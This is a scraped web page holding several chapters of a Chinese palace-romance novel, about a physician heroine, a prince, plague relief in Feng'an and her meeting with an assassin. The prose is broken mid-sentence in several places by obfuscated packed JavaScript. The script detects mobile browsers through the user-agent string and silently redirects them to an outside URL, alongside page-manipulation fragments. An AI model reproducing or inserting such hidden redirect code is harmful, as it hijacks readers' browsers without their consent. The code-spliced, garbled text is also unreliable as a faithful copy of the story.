l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630031|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县衙大门的门栓上还挂着几条青鱼。 杜清烟与绿竹看得目瞪口呆。 樊英冷淡的眼眸难得流露出几分温情,她解释道:“陆大人是个好官,深受百姓爱戴,想来是听闻昨夜县衙走水遇袭,得知县衙内多了许多人,遂才送这些来。” 正因陆槐安深得民心,昨夜县衙走水才会那样快有那么多百姓前来相助救火,得知县衙来了许多人,又送来这些。 如今这样的年景,百姓送来的这些必然是家中最珍贵之物了。 凤安城的难民还在往外逃生,而青云县在陆槐安治下百姓尚能过些安稳日子,可这样的安稳不知还能持续多久。 凤燕回踏着暮色而归,他身后只跟着卫风,卫雨不见踪影,彼时杜清烟正在灯下翻看从樊英那儿得来的话本。 进屋后,凤燕回顺手将房门合上,见她只瞧了他一眼后注意力又回到话本上,他有些好奇,凑近了看。 病弱富家公子与冲喜农家女日久生情,历尽磨难相互扶持不离不弃,她正看到缠绵悱恻情深意浓的桥段,凤燕回见她入迷,理也不理他,他幽幽叹气。 “夫人好雅兴。” 他英挺的鼻尖几乎要贴上她的脸颊,咫尺之距,暧昧丛生,杜清烟只好将话本合上,轻轻将他的脸推开些。 “夫君可曾用过晚膳?”她不咸不淡地问了一句。 凤燕回直起身,自行解了披风,右手虽瞧着有些笨拙,却已见大好。 他温声道:“方才与表兄一同用过了。” 杜清烟见他右手恢复如此之快,顿时眉眼弯弯,也不恼了。 “今日你与陆大人可是去安排前往凤安赈灾一事?” 凤燕回并未隐瞒,点了点头,看她时眼神温柔却带着歉意:“庆州借调来了五千精兵,由卫雨率领先行前往凤安,明日一早我们也要启程,只是凤安城中染疫者众多,此番借调而来的医官不足十人,夫人又要受累了。” 杜清烟自医匣中取出一只白瓷瓶递到他手上,叮嘱道:“此药殿下随身带着,每日一粒。” 凤燕回摩挲着光滑细腻的瓶身,带着灼灼热意的目光落在她脸上。 她淡然浅笑:“殿下无需为医官不足之事烦忧,早年我外祖父悬壶济世时也收过些门徒,经年过去,他们仍心怀济世救人的慈悲,因敬佩殿下为人,愿前往凤安城助殿下一臂之力,想来明日也该到了。” 凤燕回怔了怔,攥紧手中瓷瓶,此时此刻他望着她想说些什么却又说不出话来。 见他久久无言,杜清烟上前双手环抱住他的腰,将脸贴在他胸口,一副情意绵绵之姿。 “殿下为何不问我关于昨夜那黑衣刺客之事?” 20. 同寝 温软在怀,心柔如水,她主动亲近时总令他心动意乱,饶是有诸多恼意在此刻只化为一滩春水,心随意动,荡起阵阵涟漪。 她心思玲珑,太懂如何拿捏他了,将他吃得死死的,而他偏偏吃她这一套。 凤燕回极力拉回理智,一手扶着她的肩,微微后退了一步,与她拉开了些距离。 “你与那人是如何相识的?” 他不问那人是谁,只想探知她与那人有何过往,杜清烟定定瞧了他片刻,在他不自在别开眼时轻笑出声。 她似乎有些明白他的心思了,但她不会此时戳破,他想要答案,她如实与他说就是。 她莞尔道:“说起这事还与殿下你有些关系,我与他相识亦是在黑佗城,在我遇殿下的前两日,那天夜里有一群流匪在城中作恶,他救下一对孤寡母女,以一己之力打跑了那些流匪,但他受了重伤,是我救了他。” 凤燕回忆起了与她初见时的那一幕,她被凶悍的流寇拖拽而行,却死死护着怀中药包。 他眸光流转,深色莫名,语气也有些生硬。 “当时你拼命护着的药是为他治伤的。” 杜清烟解释道:“行医救人乃医者本分,何况当时亲眼见到他救了许多人,他身上原本就带着伤,却强撑着打退烧杀劫掠的匪冦,所行之事令人敬佩。” 观凤燕回面色缓和了不少,她趁机撇清与那黑衣刺客的关系。 “我救他时曾试探过他的身份,可他十分警惕,我瞧他长得黝黑壮实,便给他取名叫黑壮,若殿下想问他是谁,我只知他叫黑壮。” 怕他不信,她还举起手起誓。 “我所言句句属实,绝无欺瞒,我敢对天起誓。” 凤燕回微怔,随即笑了,轻轻握住她起誓的手,“我何时说过不信你。” 杜清烟顺杆子往上爬,撇了撇嘴:“殿下方才那样子分明是不信我的。” 凤燕回张了张嘴却无从解释,他不是不信她,而是心中不快。 每回她为他施针时他会陷入昏睡,可他对周遭的一切是有感知的,在那黑衣刺客破窗而入时他强行醒了过来。 她与那黑衣男子虽未有过多言语,可那人对她关切的样子他瞧得真切。 而且他后来也认出了那黑衣刺客曾在他与云昭回京的途中截杀他们,当时云昭便是为了引开那些人才生死不明。 那个黑衣刺客或许知晓云昭的下落。 凤燕回心中犹豫,不知该不该将黑衣刺客与云昭失踪一事有关之事告知她。 看他神色有异,杜清烟恢复正色:“殿下可是有话同我说?” 今夜她对他的称呼又换回了殿下,这令凤燕回有些不悦。 “为何不唤我夫君了?”他直白问了一句。 杜清烟愣了愣,看他不似说笑,想来是不喜她唤他殿下。 略微思忖后她道:“殿下是夫君,夫君即是殿下,既然夫君喜欢,那往后我只唤殿下作夫君。” 凤燕回抚了抚额,他觉得被她给绕晕了,而她对他的称呼竟只是为迎合他的喜好。 罢了,总归来日方长,他徐徐图之,有朝一日她会心甘情愿唤他一声夫君的。 思虑再三,他还是将黑衣刺客与云昭下落有关之事与她说了。 “两年前阿昭与我回京时遭遇截杀,当时的领头之人便是昨夜那人,阿昭为护我,以身犯险引开那些人,之后阿昭下落不明,若能活捉昨夜那人,兴许能寻到阿昭下落。” 闻言,杜清烟猛地抬眼看他,想问什么又不知该从何问起,如他所言,云昭失踪与那人有关,只要再见到那人,她定要问清楚的。 自云昭失踪后她一直暗中查探云昭下落,一月前也查到一些云昭的踪迹。 她收到消息称数月前云昭曾在丰州出现过,眼下云瑶已赶去丰州,她只能等云瑶的消息。 此次她随凤燕回前往平城,这一路耽搁,许多事她只能行一步看一步。 “夫君且安心,事关兄长,我不会掉以轻心的。” 凤燕回并未多言,唤卫风备水他要沐浴,随后便走了出去。 待他再回屋时已是半个时辰后,他已沐浴过,换了身衣裳,彼时杜清烟已歇下,听到动静,她翻了个身,见他走了过来,睡意醒了大半,坐起身惊讶看着他。 “夫君怎地又来了?” 凤燕回失笑:“夫人在此,为夫自然也要在此处歇息的。” 他一副理所当然的姿态,解了外袍,褪去中衣,身上只着里衣,掀开被褥一角,杜清烟下意识往里侧挪了挪。 身下木床有些窄小,勉强能容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655831|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳两人,她本就纤瘦,占不了多少地方,凤燕回人高腿长,这么和她挤一张床上着实有些委屈了。 同床共枕,同盖一条被褥,她怕夜里她卷被子害他受凉,便又起身吩咐绿竹去找樊英多拿了一条被子来。 翌日醒来,她整个人窝在凤燕回怀里,与他同盖一条被子,而昨夜盖在她身上的那条被子堆在床尾。 她起身时瞧见床尾堆成一团的被子有些发懵,明明各自盖一条被子,她怎么又钻凤燕回被窝里了。 杜清烟懊恼地拍了拍头,凤燕回勾唇轻笑,先起床着衣。 朝阳初升,一行人离开青云县往凤安城所在的方向而去。 此行樊英也跟着,她说往后要跟在杜清烟左右。 陆槐安是青云县的父母官,若无调令他不能擅离职守,只能眼巴巴望着樊英翻身上马,头也不回。 马车内,杜清烟压低声音问凤燕回,“夫君,陆大人可曾定过亲?” 凤燕回仔细想了想,道:“四年前表兄金榜题名,后得父皇赏识破格提拔为翰林院侍读学士,听闻他家中确实为他订过一门亲事,只不过两年前他因得罪杜相被贬,与他定亲的那家人怕受牵连,在他离京前一日上门退亲了。” 杜清烟哑然,竟不知陆槐安当这县令还与杜相有关,而陆槐安当真是个正直君子,明知她是杜相的女儿,不仅不曾为难于她,还处处维护。 凤燕回笑问:“可是想问陆表兄与樊英的亲事?” 她想什么根本瞒不过他的眼。 杜清烟点头,由衷赞道:“陆大人一表人才,清正端方,樊姑娘巾帼不让须眉,英姿飒爽,二人两情相悦,若能成就一段良缘,必然成为一段佳话。” 凤燕回深知她说这番话的用意,陆槐安乃陆家长房嫡孙,陆氏一族虽隐没沉寂多年,可终究是百年氏族钟鼎之家,陆槐安若要娶樊英为妻必定是阻碍重重。 她这番话还有另外一层用意,试探他与母族是否紧密联系。 凤燕回顺着她的意,给她一颗定心丸。 “此间事了,若他二人仍对彼此有意,我会出面与舅父舅母商谈,禀明父皇,请父皇为他二人赐婚。” 杜清烟心道:果真如她所料,陆氏一族隐退不过权宜之计,明面上与凤燕回划清界限,实则暗中扶持。 21. 夫妻携手 原本杜清烟并未打算带樊英一起离开,眼下凤燕回处境艰难,一路危险重重,樊英留在陆槐安身边要安全许多,可樊英执意要与她同行,还说她若不允,便暗中跟随,她无可奈何只能同意。 她知晓樊英的心思,只因打从一开始樊英便知她的真实身份,也正是因她的身份,樊英才这般坚定要守在她身边。 前路艰难,她不愿再看到身边亲近之人一个个离去。 凤燕回的目光始终落在她身上,看她沉默若有所思,又见她时不时挑起帘子望向骑在马背上的樊英,他隐约觉察到她有事瞒他。 可她不愿说,他即便问她也问不出个所以然来,她总是有理由搪塞敷衍他。 一如昨夜她与他说起的那个名叫‘黑壮’的黑衣刺客。 他知她刻意隐瞒了一些事,但她不愿说,他便不刨根问底惹她不快。 她身上有太多秘密,待寻到云昭后一切便会揭晓,他不急于一时。 凤安城离青云县只一日路程,卯时自青云县启程,戌时将过便抵达凤安城。 卫雨先行带领五千精兵入了凤安城,白日里已将城中百姓做了安置,一切按凤燕回与陆槐安的计划行事,先在城中设了几个粥棚施粥,随行医官为染疫百姓看诊后配药后熬起了大锅药,但染疫的百姓人数太多,虽有许多逃难离去,但城中仍有数万百姓需要用药,可因药材短缺,医官们亦无计可施。 六皇子将亲赴凤安城的消息一早便在城中传开了,身为皇子,亲赴疫区,这于凤安城的百姓而言无疑是天大的好消息。 皇子殿下亲临便是预示着陛下与朝廷并未放他们,凤安城有救了。 一行人浩浩荡荡入城,城内百姓夹道欢迎,喜极而泣高呼陛下万岁,六殿下福寿康宁,欢呼声与抽泣声夹杂在一起,终是迎来了一城百姓生的希望。 马车在知府衙门前停下,凤安知府及一众大小官,员战战兢兢跪在门前。 “臣等恭迎殿下。” 杜清烟坐在车内未曾露面,凤燕回下了马车后站在那些官,员面前,冷眸扫视,那些人颤抖着将头埋得更低了。 凤燕回站在府衙外抬眼看向前方,一众护卫手中的火把将府衙的牌匾照亮,驻足片刻,他并未理会跪在地上的那些人,径直往府衙内走,跪地的人自觉给他让出一条道,不敢起身。 随一行人入城的还有数十位医者及林氏商行所捐的数十车药材及粮食,车队被一众护卫护在中间,无人敢造次。 不多时卫雨带着一队人马疾驰而来,卫风上前与他交代了几句,卫雨往马车的方向看了几眼,随即调转马头将一众医者与赈灾粮和药材带往安置处。 杜清烟所乘马车与一众医者一同去到了隔离安置点,她下马车时弊口遮面,身上着装与一众医者无异,瞧着便只是一名寻常大夫,绿竹与樊英与她是一样的打扮,安静肃然跟在她身后。 这一夜,凤安全城无眠,医者看诊熬药,兵卒守岗抬病患安置,一切井然有序。 在杜清烟与一众医者探讨之后,治疗疫症的药方有了定论,接着便是配药熬药,不多时安置处的病患便喝上了汤药。 杜清烟先前为凤燕回施针损了元气,又一路颠簸奔波,之后又是大半宿看诊,身子有些受不住,险些晕倒,樊英与绿竹同时将她扶住。 卫雨奉命一直守在她们身边,见到这一幕亦是吓了一跳,急忙上前询问,杜清烟缓了缓后朝他摆手示意无碍。 但绿竹与樊英却不许她再强撑,特别是绿竹,直接将火撒在了卫雨身上。 “你杵着作甚,还不赶紧收拾间屋子出来,若殿下瞧见你跟块木头似的,定要打得你皮开肉绽。” 卫雨被绿竹吼得一愣,再她即将再次发火时先朝杜清烟告罪。 “是属下思虑不周,望夫人见谅。” 随后他又朝樊英与绿竹拱手,“有劳二位姑娘了,请随我来。” 卫雨举着火把在前面引路,带着她们离开安置点,走过两条小巷,带着她们进了一座宅院,宅子干净雅致,几间屋子也是收拾得干干净净。 “殿下早有吩咐,白日里属下便差人将宅子收拾好了,委屈夫人与二位姑娘暂在此处歇息。” 言罢,卫雨转身离去。 绿竹瞪着他离去的背影,愤愤道:“这人着实欠揍,回头定要寻个机会好好教训他。” 杜清烟摇头失笑,劝道:“卫雨剑术了得,你莫要与他纠缠。” 绿竹轻哼道:“那改日我定是要向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673525|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨教一二的。” 正因清楚绿竹的性子,杜清烟叹了口气,无奈扶额。 罢了,卫雨虽有些死板不近人情,倒也不至于失了分寸,与绿竹切磋多半也是点到为止,无甚要紧的。 扶杜清烟躺下后,绿竹与樊英退到屋外,因樊英身上有伤,绿竹直接否了樊英提出与她轮流守夜的提议,将她赶到另一间屋子歇着。 绿竹拿了条被子裹在身上,坐在杜清烟门外守着,天将明时她听到动静一瞬,一瞬惊醒过来,下意识抄起放在一旁的剑。 随着人影走进,两束火把照亮了屋前,见是凤燕回,绿竹无声打了个哈欠,裹着被子抱着剑便往樊英隔壁的屋子而去。 卫风与卫雨举着火把跟在凤燕回身后,看绿竹对他们视而不见的态度,卫风憋笑,卫雨蹙眉,目送自家殿下进了屋后,卫风用手肘碰了卫雨一下,压低声音问:“卫雨,你可是得罪绿竹姑娘了?” 卫雨茫然摇了摇头,方才明明是绿竹吼他,他并未与她计较,何来得罪一说。 而卫风与绿竹算是相熟,对绿竹的性子有几分了解,他看卫雨常年冷冰冰的脸,幸灾乐祸起来。 “这位绿竹姑娘气性可比夫人大多了,你若得罪了她,那可比得罪夫人还惨,你可得仔细伺候着。” 卫雨道:“她一个小丫头能将我如何?” 卫风给了他一个‘你自求多福’的眼神后将火把熄灭,寻了个较舒适的地方坐下仰望星空。 比不得他的闲散,卫雨还得带人在城中巡逻,举着火把离开了。 屋内留了一盏油灯,昏暗的光勉强能视物,凤燕回进屋后合上房门,解下披风搭在椅背上,此时床幔后传出一道带着倦意的轻柔女声。 “夫君?” “嗯。” 凤燕回解衣动作微顿,下意识应了一声,而后快速脱下外袍,着一袭中衣行至床前,撩开床幔,于微光中凝视她的容颜。 “扰到你了?” 杜清烟再度闭上眼,身子往里侧挪了挪,困倦道:“有些冷,睡不着。” 凤燕回在她身旁躺下,将她揽入怀中。 “可有暖和些。” 怀中人低低应声:“嗯,此时节,凤安太冷了。” 22. 黑壮现身 翌日醒来,身畔无人,探手摸去一片冰凉,杜清烟裹紧被褥赖床不起,眼下虽还未入冬却已感知到严寒将到来。 凤安之事天灾在前人祸在后,因水患之故,今年的凤安颗粒无收,百姓食不果腹,后时疫蔓延,夺去无数人命,数万百姓于水深火热中煎熬数月,朝廷却不闻不问,民怨四起,甚至有流言称凤安之祸乃是因上位者无德不仁,上天降下祸事已警醒世人该另择明主。 这些流言是否传入宫里不得而知,但凤燕回定然是知晓这些流言的。 无论如何,这江山是如今还是他凤氏的江山,凤燕回身为皇子又岂会真的坐视不理,只是这烂摊子收拾起来并非易事。 杜清烟心中默默叹息,如今凤燕回与她算是绑在一起,休戚与共,她终究无法袖手旁观。 自离京后,一路上遇到许多事,凤燕回越发忙碌起来,凤安之事事关数万百姓性命,他行事需得万分谨慎,不可行差踏错一步,重担压身,他着实不易。 杜清烟只在被窝里懈怠片刻,而后掀被下床,屋外绿竹听到动静推门进来。 “姑娘。” 绿竹手上端了盆水,盆中冒着热气,进屋后将盆放在盆架上。 杜清烟有些讶异绿竹怎会如此及时将热水端了进来,正要问时不经意往门口一瞥,竟瞧见屋外放着一个炉子,而炉子里生着火,炉子上炊壶咕嘟咕嘟响,热气从壶盖与壶嘴出冒出。 “这是……” 绿竹顺着她的目光看去,笑嘻嘻道:“殿下离开前特意吩咐的,说是天冷了,在院子里起炉生火,烧些热水备着。” 而后绿竹又指了指屋内的两个角落,接着道:“殿下还吩咐卫风入夜前在屋内放两只炭盆,多半是殿下畏寒。” 杜清烟闻言摇头失笑,想来是昨夜听她说冷,凤燕回才如此安排。 倒不曾想她随口一句话他记在了心里,一早便做了安排。 他倒是心细。 “殿下去了何处?” 绿竹道:“听卫风说殿下一早便去瞧了昨日收诊的那些患病百姓,之后带着卫雨去了知府衙门。” 杜清烟点了点头,未在多问,她简单收拾了一下自身,又是昨日那番装扮,她要去瞧瞧昨夜那药是否起了作用。 樊英外出归来在宅子外的巷口与杜清烟和绿竹碰上,与她们打了声招呼后樊英便急匆匆进了宅子里。 “樊姑娘一大早便出去了,一去几个时辰,回来也神秘兮兮的。”绿竹小声嘀咕着。 杜清烟浅笑道:“樊姑娘虽与我们同行,但她乃自由身,想去何处便去何处,你莫要多问。” 绿竹讪笑道:“我又犯忌讳了。” 打小她就是个碎嘴子,时常管不住嘴,老太爷与姑娘为此训过她多回了,先前在相府还好,她与姑娘一样忍气吞声,可才随姑娘到六殿下府上几日,她又管不住嘴了。 绿竹解释道:“这些日子与卫风混熟了,老是说些有的没的,一时得意忘形了。” 杜清烟轻点她的脑门,无奈笑道:“你这丫头老是不长记性,你的时刻牢记言多必有失,事以密成,不可逞一时口舌之快。” 绿竹忙不迭点头道:“嗯嗯,绿竹明白的,姑娘且安心。” 这丫头嘴上应承得好好的,一转头又将她的叮嘱抛之脑后,如何能安心。 罢了,性子使然,只要不坏事便好,再忍一段时日,这丫头又能做回曾经那个无忧无虑的绿竹,她也不想过多束缚。 她们在前面走着,身后有几名护卫不远不近跟着,绿竹甚是不自在,小声嘟囔:“殿下也是,非要遣护卫跟着,如今这城中没走几步便会遇上巡逻,又有我在姑娘身边,还能出岔子不成……” 绿竹还未抱怨完,杜清烟便被一个衣着破旧的妇人撞了一下,妇人惊恐致歉后慌忙跑了,嘴里还念叨着城南粥棚施粥,她家婆母病得下不了床快饿死了之类的话。 眼看妇人即将跑远,杜清烟给绿竹使了眼色,示意绿竹追上去瞧瞧。 若真有病患遗漏在家中,定是要告知凤燕回,让他差人挨家挨户查看,将病患集中收诊的。 昨日之后,六皇子亲赴凤安赈灾一事很快会传开,那些出城逃生的难民听到消息多半会回来,眼下赈灾的粮食与药材皆出自林氏商行,勉强还能支撑几日,后续回城难民越多,需 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“姑娘,人在茶楼里。” 杜清烟顺着她指的方向望去,看见那束野花,心中猜想得到证实。 约她见面之人正是她一直在等的黑壮。 她们进了茶楼,里面空无一人,桌椅落了厚厚灰尘,已然空置许久了。 绿竹随手拿起门后竖着的扫帚,走在前用扫帚清除楼梯上方垂下的蛛丝,脚下用了几分力,生怕楼梯年久失修有危险。 杜清烟走在她后面,步履从容。 二人来到方才瞧见窗前放了束野花的那间房外,房门大开,站在门口一眼瞧见了坐在桌前那喝稀粥的身形挺拔的男子。 男子一身破破烂的粗布衣,脸上脏污瞧不清本来面容,他面前的桌上铺着厚厚一层灰,盛稀粥的碗有好几个豁口,乍一瞧还真与乞丐无异。 杜清烟与绿竹示意后,独自垮入屋内,她抬脚时男子抬眼望来,锐利的眸中漾着几分笑意,她亦勾了勾唇。 “两日未见,你怎落魄至此了?” 23. 抓奸? “自是比不得你这个乡野小大夫一朝变高门贵女嫁入皇家成了身份尊贵的皇子妃。” 故人重逢,应是有千言万语道不尽,而两人相视一笑后,一切尽在不言中。 她损他一声,他亦回敬她一句,仿佛回到她为他治伤时两人相处的情景。 原以为当初一别恐怕今生无缘再见,他苦寻她许久,却不知她一直在他眼皮子底下。 他将破碗中的稀粥喝完,似是不经意问她,“你曾说过你向往广袤天地,不愿困于一隅,为何又回了相府?” 那夜见过她后他便打探她的身份,很容易就查到了。 原来她便是传闻中那倒霉的相府长女,太子妃之位被亲妹抢了不说,还被迫嫁给了失宠落魄的六皇子。 但以他对她的了解,她并非逆来顺受的性子,若非她愿意,谁也逼迫不了她。 那夜她拼了命也要护住那六皇子,想必那六皇子在她心里十分重要,否则她怎会以命相护。 她与六皇子…… 杜清烟不知他此刻的心境,直言道:“回相府是因我有所图,今日前来见你亦是有所图。” 他顿了顿,意味深长道:“你图我什么?” 杜清烟不与他拐弯抹角,道出此行的目的。 “一年前少将军云昭护送六皇子回京,途中遭人截杀,可是你所为?” 他锐利的眼眸蒙上一层黯然之色,冷言道:“你是为了六皇子前来找我兴师问罪?” 杜清烟面色微沉,眼神也冷了下来。 “云昭是生是死?” 闻言,他表情一僵,看她面色不善,心中惊疑不定,却又暗自松了口气。 她并非是为了六皇子来质问他。 电光火石间他忽然想起她曾与他说过一些话,当时他只当她与他吹嘘,事后却记在了心上。 看她对云昭如此上心,他又回想起了以前她说的那些话。 他半信半疑问:“云昭真是你的表兄?” 杜清烟点头:“先前我便与你说过我与云昭关系匪浅,若你知晓他的下落,还望如实告知。” 那时他伤重,她为他治伤一月有余,期间她时常在打听云昭与六皇子对战蛮夷之事,总是担心二人受伤,他还以为她对二人其中一人有别的心思,当时他不知她姓名,只唤她小大夫,后来有一日他无意间听到别人唤她云姑娘,他才正经问起她的名字。 她说告诉他她姓云,单名一个霓字,与少将军云昭是亲戚。 他只信了前半句,对后半句将信将疑,可日渐相处中他看出她对云昭很是关心,他只当她是因与云昭同姓故而十分敬仰云昭。 毕竟谁也想不到少将军云昭的表妹,堂堂相府千金会混迹于市井中过清贫的苦日子,时常进山采药只为卖给药铺换些银钱。 此时他不由得庆幸当初将她的话听了进去,并未对云昭下死手。 而她今日来问他云昭的下落,想来是六皇子认出他的身份且告知她了。 既是如此,他再无隐瞒的必要。 “那日云昭为了给六皇子争取一线生机与六皇子换了衣裳,之后将我们引到了一条河边,当时他已身负重伤,我亦敬重他忠肝义胆,不欲取他性命,是以在别人动手前将他踹入河中,此后他便失了踪迹。” 杜清烟的心稍稍落到实处,她知云昭水性极好,虽受了伤,但应当是能抱住性命的。 他默了默又提醒道:“那条河在丰州附近,你若要寻他,或许在丰州能寻到线索。” 如此杜清烟更加确信云昭在丰州城出现过的消息属实了。 她感激地看向他。 “多谢。” 谢他如实相告,亦谢他对云昭手下留情。 又是一阵沉默后,他问:“除了云昭之事,你与我可还有别的话说?” 杜清烟未答,只是笑笑。 她救过他,算是他的恩人,为他治伤的那一个多月她与他日渐相熟,时常拌嘴,她视他为友,她从不问他的身份姓名,只唤他黑壮。 可如今他不再是黑壮,几次三番刺杀凤燕回,从立场而言,他如今是她的敌人。 可他对她并无敌意,是以她也不知该与他说些什么。 相对无言,他心中有些不快。 “我姓温,名子陵。” 她不问,他偏要叫她记住他的名字,于是他在满是灰尘的桌面上写下名字,让她记得清楚。 温子陵。 杜清烟端详着桌面上的三个字,摸着下巴思忖道:“确实比黑壮好听许多。” 温子陵手一扫便拂去桌面上的字,没好气道:“只有你 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“曾经终究是小看了这位六皇子,未曾想他才是深藏不漏之人。” 杜清烟不可置否笑了笑,凤燕回确实深藏不漏,凤安之事只是开始,终有一日他会是民心所向。 见她笑,温子陵道:“依你方才所言,你回相府时有所图,来见我亦有所图,那你嫁六皇子呢?” 杜清烟来到他身旁,目光悠悠看向外面,就在他以为她不会回答他时,听到她欢快的声音。 “图他赏心悦目。” 温子陵怔了一瞬,随即失笑。 “肤浅。” 谈笑间,忽闻绿竹焦急的声音从外面传来。 “不好了,殿下来抓奸,茶楼被围了!” 杜清烟脸色一变,快步朝外走去,带着绿竹疾步下楼。 她头也不回,温子陵望着她匆忙离去的身影眼眸黯了黯。 抓奸? 想到绿竹的用词,温子陵笑了起来,而后起身自窗口跃下,脚踩横木,几个纵跃上了屋顶,在底下箭羽朝他射来时灵活闪身险险避过,脚下急奔,很快他的身影便消失无踪。